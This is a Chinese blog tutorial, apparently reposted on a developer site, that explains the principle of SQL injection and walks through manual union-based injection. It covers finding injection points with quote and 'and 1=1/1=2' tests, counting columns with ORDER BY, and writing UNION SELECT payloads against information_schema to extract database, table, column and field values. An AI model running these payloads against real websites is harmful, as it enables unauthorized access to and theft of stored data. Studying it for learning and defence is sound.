我是靠谱客的博主 勤劳未来,最近开发中收集的这篇文章主要介绍SQL注入——判断注入SQL注入漏洞基本原理部分SQL语句注入步骤,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

SQL注入漏洞

  • SQL注入漏洞基本原理
  • 部分SQL语句
  • 注入步骤

SQL注入漏洞基本原理

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。
可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。
sql注入是将用户输入的数据当作了SQL语句放入了数据库执行。
XSS是将用户输入的数据当作了HTML语句放到了页面上执行。

部分SQL语句

order by 字段:根据该字段排序,由小到大。
order by 3:根据第三个字段排序,由小到大。
limit 0,2:从第一行起显示两条记录。(0表示第一行,2表示显示两行)
union select:将多个表拼接在一起显示。
column_name:字段名
table_name:表名
schema_name:库名
information_schema:表示所有信息,包括库、表、字段
information_schema.columns:表示所有字段的信息
information_schema.tables:表示所有表的信息
information_schema.schemata:表示所有数据库的信息
table_schema:tables表中的数据库名

注入步骤

1.找:与数据库交互的地方(增删改查)
功能:注册、登录、搜索框、筛选、排序。
读取数据:网站偷偷记录我们的数据,收入数据库。

2.判断:语句是否执行
找注入点:id=1’ 在1后面加单引号,页面出错
id=1 and 1=1 正常 id=1 and 1=2 错误
参数可控:改变网页地址的参数,看页面是否变化。

3.查看前一个表的字段数
用order by 数字,直到某一个数字n报错,说明该表有n-1个字段

4.查询数据库名

and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

4.查询当前库的表名,用union连接select语句
使union前的语句不成立,以执行我们输入的语句
and 1=2 union select…
从information_schema库的tables表中查询table_name字段,且数据库名等于当前数据库,显示第一行的信息(即第一个表名)

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

因为我们查的只有一个字段名table_name,所以要在table_name前添加1,2,3等等来占位,以符合前一个表的字段数。(例如:select 1,table_name from…)
5.查询字段名

select 1,column_name from information_schema.columns where table_schema= database() and table_name=‘上一步查到的表名’ limit 0,1
(单引号要换成英文的)

6.查字段的值

and 1=2 union select 1,字段名 from 表名

最后

以上就是勤劳未来为你收集整理的SQL注入——判断注入SQL注入漏洞基本原理部分SQL语句注入步骤的全部内容,希望文章能够帮你解决SQL注入——判断注入SQL注入漏洞基本原理部分SQL语句注入步骤所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(38)

评论列表共有 0 条评论

立即
投稿
返回
顶部